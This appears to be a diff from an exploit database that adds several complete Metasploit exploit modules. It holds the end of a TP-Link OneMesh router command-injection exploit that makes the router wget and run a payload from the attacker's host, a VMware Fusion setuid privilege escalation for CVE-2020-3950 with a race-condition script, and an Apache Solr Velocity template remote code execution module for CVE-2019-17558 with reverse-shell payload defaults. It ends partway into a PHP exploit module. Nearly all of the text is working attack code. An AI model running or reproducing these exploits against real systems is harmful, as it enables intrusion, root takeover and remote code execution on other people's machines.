0x9c, 0x02, 0x6d, 0x93, 0x0a, 0x9c, 0x09, 0x06, 0xa9, 0xeb, 0x0e, 0x36, 0x3f, 0x72,
0x07, 0x67, 0x85, 0x05, 0x00, 0x57, 0x13, 0x95, 0xbf, 0x4a, 0x82, 0xe2, 0xb8, 0x7a,
0x14, 0x7b, 0xb1, 0x2b, 0xae, 0x0c, 0xb6, 0x1b, 0x38, 0x92, 0xd2, 0x8e, 0x9b, 0xe5,
0xd5, 0xbe, 0x0d, 0x7c, 0xdc, 0xef, 0xb7, 0x0b, 0xdb, 0xdf, 0x21, 0x86, 0xd3, 0xd2,
0xd4, 0xf1, 0xd4, 0xe2, 0x42, 0x68, 0xdd, 0xb3, 0xf8, 0x1f, 0xda, 0x83, 0x6e, 0x81,
0xbe, 0x16, 0xcd, 0xf6, 0xb9, 0x26, 0x5b, 0x6f, 0xb0, 0x77, 0xe1, 0x18, 0xb7, 0x47,
0x77, 0x88, 0x08, 0x5a, 0xe6, 0xff, 0x0f, 0x6a, 0x70, 0x66, 0x06, 0x3b, 0xca, 0x11,
0x01, 0x0b, 0x5c, 0x8f, 0x65, 0x9e, 0xff, 0xf8, 0x62, 0xae, 0x69, 0x61, 0x6b, 0xff,
0xd3, 0x16, 0x6c, 0xcf, 0x45, 0xa0, 0x0a, 0xe2, 0x78, 0xd7, 0x0d, 0xd2, 0xee, 0x4e,
0x04, 0x83, 0x54, 0x39, 0x03, 0xb3, 0xc2, 0xa7, 0x67, 0x26, 0x61, 0xd0, 0x60, 0x16,
0xf7, 0x49, 0x69, 0x47, 0x4d, 0x3e, 0x6e, 0x77, 0xdb, 0xae, 0xd1, 0x6a, 0x4a, 0xd9,
0xd6, 0x5a, 0xdc, 0x40, 0xdf, 0x0b, 0x66, 0x37, 0xd8, 0x3b, 0xf0, 0xa9, 0xbc, 0xae,
0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5, 0xff, 0xe9, 0xbd,
0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30, 0x24, 0xb4, 0xa3,
0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde, 0x57, 0x29, 0x23,
0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b,
0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a,
0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d]
res = 0xffffffff
# main checksum calculation
packet.each_entry { |c|
index = ((c ^ res) & 0xff) * 4
# .reverse is needed as the target is big endian
ref = (reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first)
res = ref ^ (res >> 8)
}
checksum = ~res
checksum_s = [(checksum)].pack('I>').force_encoding("ascii")
# convert back to string
packet = packet.pack('C*').force_encoding('ascii')
# and replace the checksum
packet[12] = checksum_s[0]
packet[13] = checksum_s[1]
packet[14] = checksum_s[2]
packet[15] = checksum_s[3]
packet
end
def aes_encrypt(plaintext)
# Function encrypts perfectly 16 bytes aligned payload
if (plaintext.length % 16 != 0)
return
end
cipher = OpenSSL::Cipher.new 'AES-128-CBC'
# in the original C code the key and IV are 256 bits long... but they still use AES-128
iv = "1234567890abcdef"
key = "TPONEMESH_Kf!xn?"
encrypted = ''
cipher.encrypt
cipher.iv = iv
cipher.key = key
# Take each 16 bytes block and encrypt it
plaintext.scan(/.{1,16}/) { |block|
encrypted += cipher.update(block)
}
encrypted
end
def create_injection(c)
# Template for the command injection
# The injection happens at "slave_mac" (read advisory for details)
# The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.
# This will fail if we send a command with single quotes (')
# ... but that's not a problem for this module, since we don't use them for our command.
# It might also fail with double quotes (") since this will break the JSON...
inject = "\';printf \'#{c}\'>>#{@cmd_file}\'"
template = "{\"method\":\"slave_key_offer\",\"data\":{"\
"\"group_id\":\"#{rand_text_numeric(1..3)}\","\
"\"ip\":\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\","\
"\"slave_mac\":\"%{INJECTION}\","\
"\"slave_private_account\":\"#{rand_text_alpha(5..13)}\","\
"\"slave_private_password\":\"#{rand_text_alpha(5..13)}\","\
"\"want_to_join\":false,"\
"\"model\":\"#{rand_text_alpha(5..13)}\","\
"\"product_type\":\"#{rand_text_alpha(5..13)}\","\
"\"operation_mode\":\"A%{PADDING}\"}}"
# This is required to calculate exact template length without replace flags
template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length
# This has to be initialized to cover the situation when no padding is needed
pad = ''
padding = rand_text_alpha(16)
template_len += inject.length
# Calculate pad if padding is needed
if (template_len % 16 != 0)
pad = padding[0..15-(template_len % 16)]
end
# Here the final payload is created
template % {INJECTION:"#{inject}", PADDING:"#{pad}"}
end
def update_len_field(packet, payload_length)
new_packet = packet[0..3]
new_packet += [payload_length].pack("S>")
new_packet += packet[6..-1]
end
def exec_cmd_file(packet)
# This function handles special action of exec
# Returns new complete tpdp packet
inject = "\';sh #{@cmd_file}\'"
payload = create_injection(inject)
ciphertext = aes_encrypt(payload)
if not ciphertext
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
end
new_packet = packet[0..15]
new_packet += ciphertext
new_packet = update_len_field(new_packet, ciphertext.length)
calc_checksum(new_packet.bytes)
end
# Handle incoming requests from the router
def on_request_uri(cli, request)
print_good("#{peer} - Sending executable to the router")
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
send_response(cli, @payload_exe)
@payload_sent = true
end
def exploit
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")
end
if datastore['SSL']
fail_with(Failure::Unknown, "SSL is not supported on this target, please disable it")
end
print_status("Attempting to exploit #{target.name}")
tpdp_packet_template =
[0x01].pack('C*') + # packet version, fixed to 1
[0xf0].pack('C*') + # set packet type to 0xf0 (onemesh)
[0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table
[0x00].pack('S>*') + # packet len
[0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function
[0x00].pack('C*') + # dunno what this is
[rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') + # serial number, can by any value
[0x5A,0x6B,0x7C,0x8D].pack('C*') # Checksum placeholder
srv_host = datastore['SRVHOST']
srv_port = datastore['SRVPORT']
@cmd_file = rand_text_alpha_lower(1)
# generate our payload executable
@payload_exe = generate_payload_exe
# Command that will download @payload_exe and execute it
download_cmd = "wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}"
http_service = 'http://' + srv_host + ':' + srv_port.to_s
print_status("Starting up our web service on #{http_service} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => "/#{@cmd_file}"
}})
print_status("#{peer} - Connecting to the target")
connect_udp
print_status("#{peer} - Sending command file byte by byte")
print_status("#{peer} - Command: #{download_cmd}")
mod = download_cmd.length / 5
download_cmd.each_char.with_index { |c, index|
# Generate payload
payload = create_injection(c)
if not payload
fail_with(Failure::Unknown, "#{peer} - Failed to setup download command!")
end
# Encrypt payload
ciphertext = aes_encrypt(payload)
if not ciphertext
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
end
tpdp_packet = tpdp_packet_template.dup
tpdp_packet += ciphertext
tpdp_packet = update_len_field(tpdp_packet, ciphertext.length)
tpdp_packet = calc_checksum(tpdp_packet.bytes)
udp_sock.put(tpdp_packet)
# Sleep to make sure the payload is processed by a target
Rex.sleep(1)
# Print progress
if ((index+1) % mod == 0)
percentage = 20 * ((index+1) / mod)
# very advanced mathemathics in use here to show the progress bar
print_status("#{peer} - [0%]=#{' =' * ((percentage*2/10-1)-1)}>#{' -'*(20-(percentage*2/10))}[100%]")
if percentage == 100
# a bit of cheating to get the last char done right
index = -2
end
#print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}")
end
}
# Send the exec command. From here we should receive the connection
print_status("#{peer} - Command file sent, attempting to execute...")
tpdp_packet = exec_cmd_file(tpdp_packet_template.dup)
udp_sock.put(tpdp_packet)
timeout = 0
while not @payload_sent
Rex.sleep(1)
timeout += 1
if timeout == datastore['MAX_WAIT'].to_i
fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was not downloaded :(")
end
end
disconnect_udp
end
end

240
exploits/macos/local/48337.rb Executable file
View file

@ -0,0 +1,240 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::OSX::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation',
'Description' => %q(
This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.
The Open VMware USB Arbitrator Service can be launched outide of its standard path
which allows loading of an attacker controlled binary. By creating a payload in the
user home directory in a specific folder, and creating a hard link to the 'Open VMware
USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload
with an effective UID of 0.
@jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.
Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.
),
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Dhanesh Kizhakkinan', # discovery
'Rich Mirch', # edb module
'jeffball <jeffball@dc949.org>', # 11.5.3 exploit
'grimm'
],
'Platform' => [ 'osx' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'CVE', '2020-3950' ],
[ 'EDB', '48235' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ],
[ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ],
[ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ]
],
'DisclosureDate' => 'Mar 17 2020',
'DefaultOptions' =>
{
'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',
'WfsDelay' => 15
}
)
)
register_options [
OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end
def open_usb_service
'Open VMware USB Arbitrator Service'
end
def usb_service
'VMware USB Arbitrator Service'
end
def get_home_dir
home = cmd_exec 'echo ~'
if home.blank?
fail_with Failure::BadConfig, 'Unable to determine home dir for shell.'
end
home
end
def content_dir
"#{get_home_dir}/Contents"
end
def base_dir
"#{content_dir}/Library/services/"
end
def kill_process(executable)
pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}')
cmd_exec pid_kill
end
def get_version
# Thanks to @ddouhine on github for this answer!
version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString"
/=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2
if version_raw.blank?
fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version. Set ForceExploit to override.'
end
Gem::Version.new(version)
end
def pre_11_5_3
# Upload payload executable & chmod
payload_filename = "#{base_dir}#{usb_service}"
print_status "Uploading Payload: #{payload_filename}"
write_file payload_filename, generate_payload_exe
chmod payload_filename, 0o755
register_file_for_cleanup payload_filename
# create folder structure and hard link to the original binary
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
cmd_exec "mkdir -p #{link_folder}"
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
print_status "Created folder (#{link_folder}) and link"
print_status 'Starting USB Service (5 sec pause)'
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :"
Rex.sleep 5 # give time for the service to execute our payload
print_status 'Killing service'
cmd_exec "pkill '#{open_usb_service}'"
print_status "Deleting #{root_link_folder}"
rm_rf root_link_folder
end
def exactly_11_5_3
# Upload payload executable & chmod
payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
print_status "Uploading Payload to #{payload_name}"
write_file payload_name, generate_payload_exe
chmod payload_name, 0o755
#create race with codesign check
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
print_status 'Uploading race condition executable.'
race = <<~EOF
#!/bin/sh
while [ "1" = "1" ]; do
ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'
ln -f '#{payload_name}' '#{base_dir}#{usb_service}'
done
EOF
racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx racer_name, race
register_file_for_cleanup racer_name
register_dirs_for_cleanup root_link_folder
# create the hard link
print_status "Creating folder (#{link_folder}) and link"
cmd_exec "mkdir -p #{link_folder}"
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
# create the launcher to start the racer and keep launching our service to attempt to win
launcher = <<~EOF
#!/bin/sh
#{racer_name} &
for i in {1..#{datastore['MAXATTEMPTS']}}
do
echo "attempt $i";
'#{link_folder}#{open_usb_service}'
done
EOF
runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx runner_name, launcher
register_file_for_cleanup runner_name
print_status "Launching Exploit #{runner_name} (sleeping 15sec)"
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
results = cmd_exec "#{runner_name} & :"
Rex.sleep 15 # give time for the service to execute our payload
vprint_status results
print_status 'Exploit Finished, killing scripts.'
kill_process racer_name
kill_process runner_name # in theory should be killed already but just in case
kill_process "'#{link_folder}#{open_usb_service}'"
# kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed.
# above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error
# rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder
end
def check
unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}"
print_bad "'#{open_usb_service}' binary missing"
return CheckCode::Safe
end
version = get_version
if version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3'))
vprint_good "Vmware Fusion #{version} is exploitable"
else
print_bad "VMware Fusion #{version} is NOT exploitable"
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
# First check the system is vulnerable, or the user wants to run regardless
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
# Check if we're already root
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end
end
# Make sure we can write our payload to the remote system
rm_rf content_dir # live dangerously.
if directory? content_dir
fail_with Filure::BadConfig, "#{content_dir} exists. Unable to delete automatically. Please delete or exploit will fail."
end
cmd_exec "mkdir -p #{base_dir}"
register_dirs_for_cleanup content_dir
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable."
end
version = get_version
if version == Gem::Version.new('11.5.3')
vprint_status 'Using 11.5.3 exploit'
exactly_11_5_3
elsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2'))
vprint_status 'Using pre-11.5.3 exploit'
pre_11_5_3
end
rm_rf content_dir # live dangerously.
end
end

504
exploits/multiple/remote/48338.rb Executable file
View file

@ -0,0 +1,504 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Solr Remote Code Execution via Velocity Template',
'Description' => %q(
This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom
Velocity template. Currently, this module only supports Solr basic authentication.
From the Tenable advisory:
An attacker could target a vulnerable Apache Solr instance by first identifying a list
of Solr core names. Once the core names have been identified, an attacker can send a specially crafted
HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response
Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity
template parameter in a specially crafted Solr request, leading to RCE.
),
'License' => MSF_LICENSE,
'Author' =>
[
's00py', # Discovery and PoC
'jas502n', # exploit code on Github
'AleWong', # ExploitDB contribution, and exploit code on Github
'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
],
'References' =>
[
[ 'EDB', '47572' ],
[ 'CVE', '2019-17558' ],
[ 'URL', 'https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability'],
[ 'URL', 'https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html'],
[ 'URL', 'https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/'],
[ 'URL', 'https://github.com/jas502n/solr_rce'],
[ 'URL', 'https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template'],
],
'Platform' => ['linux', 'unix', 'win'],
'Targets' =>
[
[
'Unix (in-memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Linux (dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'CmdStagerFlavor' => %w[curl wget]
}
],
[
'x86/x64 Windows PowerShell',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_psh,
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
}
],
[
'x86/x64 Windows CmdStager',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_cmdstager,
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' },
'CmdStagerFlavor' => %w[vbs certutil]
}
],
[
'Windows Exec',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_exec,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' }
}
],
],
'DisclosureDate' => "2019-10-29", # ISO-8601 formatted
'DefaultTarget' => 0,
'Privileged' => false
)
)
register_options(
[
Opt::RPORT(8983),
OptString.new('USERNAME', [false, 'Solr username', 'solr']),
OptString.new('PASSWORD', [false, 'Solr password', 'SolrRocks']),
OptString.new('TARGETURI', [false, 'Path to Solr', '/solr/'])
]
)
end
# if we are going to exploit, we only need one core to be exploitable
@vuln_core = ""
# OS specific stuff
@target_platform = ""
# if authentication is used
@auth_string = ""
def check_auth
# see if authentication is required for the specified Solr instance
auth_check = solr_get('uri' => normalize_uri(target_uri.path))
# successfully connected?
unless auth_check
print_bad("Connection failed!")
return nil
end
# if response code is not 200, then the Solr instance definitely requires authentication
unless auth_check.code == 200
# if authentication is required and creds are not provided, we cannot reliably check exploitability
if datastore['USERNAME'] == "" && datastore['PASSWORD'] == ""
print_bad("Credentials not provided, skipping credentialed check...")
return nil
end
# otherwise, try the given creds
auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
attempt_auth = solr_get('uri' => normalize_uri(target_uri.path), 'auth' => auth_string)
# successfully connected?
unless attempt_auth
print_bad("Connection failed!")
return nil
end
# if the return code is not 200, then authentication definitely failed
unless attempt_auth.code == 200
print_bad("Invalid credentials!")
return nil
end
store_valid_credential(
user: datastore['USERNAME'],
private: datastore['PASSWORD'],
private_type: :password,
proof: attempt_auth.to_s
)
@auth_string = auth_string
end
# a placeholder return value. Not requiring auth should throw no errors
""
end
# check for vulnerability existence
def check
auth_res = check_auth
unless auth_res
return CheckCode::Unknown("Authentication failed!")
end
# send a GET request to get Solr and system details
ver = solr_get('uri' => normalize_uri(target_uri.path, '/admin/info/system'), 'auth' => @auth_string)
# can't connect? that's an automatic failure
unless ver
return CheckCode::Unknown("Connection failed!")
end
# convert to JSON
ver_json = ver.get_json_document
# get Solr version
solr_version = Gem::Version.new(ver_json['lucene']['solr-spec-version'])
print_status("Found Apache Solr #{solr_version}")
# get OS version details
@target_platform = ver_json['system']['name']
target_arch = ver_json['system']['arch']
target_osver = ver_json['system']['version']
print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")
# uname doesn't show up for Windows, so run a check for that
if ver_json['system']['uname']
# print uname only when verbose
vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'")
end
# the vulnerability is only present in Solr versions <= 8.3.0
unless solr_version <= Gem::Version.new('8.3.0')
return CheckCode::Safe("Running version of Solr is not vulnerable!")
end
# enumerate cores
cores = solr_get('uri' => normalize_uri(target_uri.path, '/admin/cores'), 'auth' => @auth_string)
# can't connect? that's yet another automatic failure
unless cores
return CheckCode::Unknown("Could not enumerate cores!")
end
# convert to JSON yet again
cores_json = cores.get_json_document
# draw up an array of all the cores
cores_list = Array.new
# get the core names
cores_json['status'].keys.each do |core_name|
cores_list.push(core_name)
end
# no cores? that means nothing to exploit.
if cores_list.empty?
return CheckCode::Safe("No cores found, nothing to exploit!")
end
# got cores? tell the operator which cores were found
print_status("Found core(s): #{cores_list.join(', ')}")
possibly_vulnerable_cores = {}
cores_list.each do |core|
# for each core, attempt to get config
core_config = solr_get('uri' => normalize_uri(target_uri.path, core.to_s, 'config'), 'auth' => @auth_string)
# can't retrieve configuration for that core? go next
unless core_config
print_error("Could not retrieve configuration for core #{core}!")
next
end
# convert to JSON
core_config_json = core_config.get_json_document
# if the core configuration does not include the Velocity Response Writer, it isn't vulnerable
if core_config_json['config']['queryResponseWriter'].keys.include?("velocity")
vprint_good("Found Velocity Response Writer in use by core #{core}")
if core_config_json['config']['queryResponseWriter']['velocity']['params.resource.loader.enabled'] == "true"
vprint_good("params.resource.loader.enabled for core '#{core}' is set to true.")
possibly_vulnerable_cores.store(core, true)
else
# if params.resource.loader.enabled is false, we need to set it to true before exploitation
print_warning("params.resource.loader.enabled for core #{core} is set to false.")
possibly_vulnerable_cores.store(core, false)
end
else
vprint_error("Velocity Response Writer not found in core #{core}")
next
end
end
# look at the array of possibly vulnerable cores
if possibly_vulnerable_cores.empty?
CheckCode::Safe("No cores are vulnerable!")
else
# if possible, pick a core that already has params.resource.loader.enabled set to true
possibly_vulnerable_cores.each do |core|
if core[1] == true
@vuln_core = core
break
end
end
# otherwise, just pick the first one
if @vuln_core.to_s == ""
@vuln_core = possibly_vulnerable_cores.first
end
CheckCode::Vulnerable
end
end
# the exploit method
def exploit
unless [CheckCode::Vulnerable].include? check
fail_with Failure::NotVulnerable, "Target is most likely not vulnerable!"
end
print_status("Targeting core '#{@vuln_core[0]}'")
# if params.resource.loader.enabled for that core is false
if @vuln_core[1] != true
# the new config in JSON format
enable_params_resource_loader = {
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}.to_json
opts_post = {
'method' => 'POST',
'connection' => 'Keep-Alive',
'ctype' => 'application/json;charset=utf-8',
'encode_params' => false,
'uri' => normalize_uri(target_uri.path, @vuln_core[0].to_s, 'config'),
'data' => enable_params_resource_loader
}
unless @auth_string == ""
opts_post.store('authorization', @auth_string)
end
print_status("params.resource.loader.enabled is false, setting it to true...")
update_config = send_request_cgi(opts_post)
unless update_config
fail_with Failure::Unreachable, "Connection failed!"
end
# if we got anything other than a 200 back, the configuration update failed and the exploit won't work
unless update_config.code == 200
fail_with Failure::UnexpectedReply, "Unable to update config, exploit failed!"
end
print_good("params.resource.loader.enabled is now set to true!")
end
# windows...
if @target_platform.include? "Windows"
# if target is wrong, warn and exit before doing anything
unless target.name.include? "Windows"
fail_with Failure::NoTarget, "Target is found to be Windows, please select the proper target!"
end
case target['Type']
# PowerShell...
when :windows_psh
# need PowerShell for this
winenv_path = execute_command("C:\\Windows\\System32\\cmd.exe /c PATH", 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true)
unless winenv_path
fail_with Failure::Unreachable, "Connection failed!"
end
# did the command to check for PATH execute?
unless winenv_path.code == 200
fail_with Failure::UnexpectedReply, "Unexpected reply from target, aborting!"
end
# is PowerShell in PATH?
if /powershell/i =~ winenv_path.body.to_s
# only interested in the contents of PATH. Everything before it is irrelevant
paths = winenv_path.body.split('=')[1]
# confirm that PowerShell exists in the PATH by checking each one
paths.split(';').each do |path_val|
# if PowerShell exists in PATH, then we are good to go
unless /powershell/i =~ path_val
next
end
print_good("Found Powershell at #{path_val}")
# generate PowerShell command, encode with base64, and remove comspec
psh_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
# specify full path to PowerShell
psh_cmd.insert(0, path_val)
# exploit the thing
execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
break
end
else
fail_with Failure::BadConfig, "PowerShell not found!"
end
# ... CmdStager ...
when :windows_cmdstager
print_status("Sending CmdStager payload...")
execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
# ... or plain old exec?
when :windows_exec
cmd = "C:\\Windows\\System32\\cmd.exe /c #{payload.encoded}"
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
end
end
# ... or nix-based?
if @target_platform.include? "Linux"
# if target is wrong, warn and exit before doing anything
if target.name.include? "Windows"
fail_with Failure::NoTarget, "Target is found to be nix-based, please select the proper target!"
end
case target['Type']
when :linux_dropper
execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0])
when :unix_memory
cmd = "/bin/bash -c $@|/bin/bash . echo #{payload.encoded}"
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
end
end
end
# some prep work has to be done to work around the limitations of Java's Runtime.exec()
def execute_cmdstager_begin(_opts)
if @target_platform.include? "Windows"
@cmd_list.each do |command|
command.insert(0, "C:\\Windows\\System32\\cmd.exe /c ")
end
else
@cmd_list.each do |command|
command.insert(0, "/bin/bash -c $@|/bin/bash . echo ")
end
end
end
# sic 'em, bois!
def execute_command(cmd, opts = {})
# custom template which enables command execution
template = <<~VELOCITY
#set($x="")
#set($rt=$x.class.forName("java.lang.Runtime"))
#set($chr=$x.class.forName("java.lang.Character"))
#set($str=$x.class.forName("java.lang.String"))
VELOCITY
# attempts to solve the quoting problem, partially successful
if target.name.include?("Unix")
template += <<~VELOCITY
#set($ex=$rt.getRuntime().exec("#{cmd}"))
VELOCITY
else
template += <<~VELOCITY
#set($ex=$rt.getRuntime().exec('#{cmd}'))
VELOCITY
end
template += <<~VELOCITY
$ex.waitFor()
VELOCITY
# the next 2 lines cause problems with CmdStager, so it's only used when needed
# during the check for PowerShell existence, or by specific payloads
if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory
template += <<~VELOCITY
#set($out=$ex.getInputStream())
#if($out.available())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
#else
#end
VELOCITY
end
# execute the exploit...
raw_result = solr_get(
'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'),
'auth' => opts['auth_string'],
'vars_get' => {
'q' => '1',
'wt' => 'velocity',
'v.template' => 'custom',
'v.template.custom' => template
}
)
# Executing PATH always gives a result, so it can return safely
if opts['winenv_check']
return raw_result
end
# for printing command output
unless raw_result.nil?
unless raw_result.code == 200
fail_with Failure::PayloadFailed, "Payload failed to execute!"
end
# to get pretty output
result_inter = raw_result.body.to_s.sub("0\n", ":::").split(":::").last
unless result_inter.nil?
final_result = result_inter.split("\n").first.strip
print_good(final_result)
end
end
end
# make sending requests easier
def solr_get(opts = {})
send_request_cgi_opts = {
'method' => 'GET',
'connection' => 'Keep-Alive',
'uri' => opts['uri']
}
# @auth_string defaults to "" if no authentication is necessary
# otherwise, authentication is required
if opts['auth'] != ""
send_request_cgi_opts.store('authorization', opts['auth'])
end
# a bit unrefined, but should suffice in this case
if opts['vars_get']
send_request_cgi_opts.store('vars_get', opts['vars_get'])
end
send_request_cgi(send_request_cgi_opts)
end
end

153
exploits/php/remote/48335.rb Executable file
View file

@ -0,0 +1,153 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
